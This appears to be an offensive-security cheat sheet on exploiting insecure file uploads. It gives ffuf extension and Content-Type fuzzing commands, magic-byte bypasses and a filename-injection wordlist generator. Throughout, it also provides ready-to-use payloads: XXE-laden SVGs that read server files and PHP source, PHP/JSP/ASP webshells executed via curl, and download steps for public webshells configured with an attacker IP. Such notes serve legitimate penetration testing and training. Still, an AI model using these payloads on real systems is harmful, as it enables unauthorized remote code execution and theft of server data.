File Upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>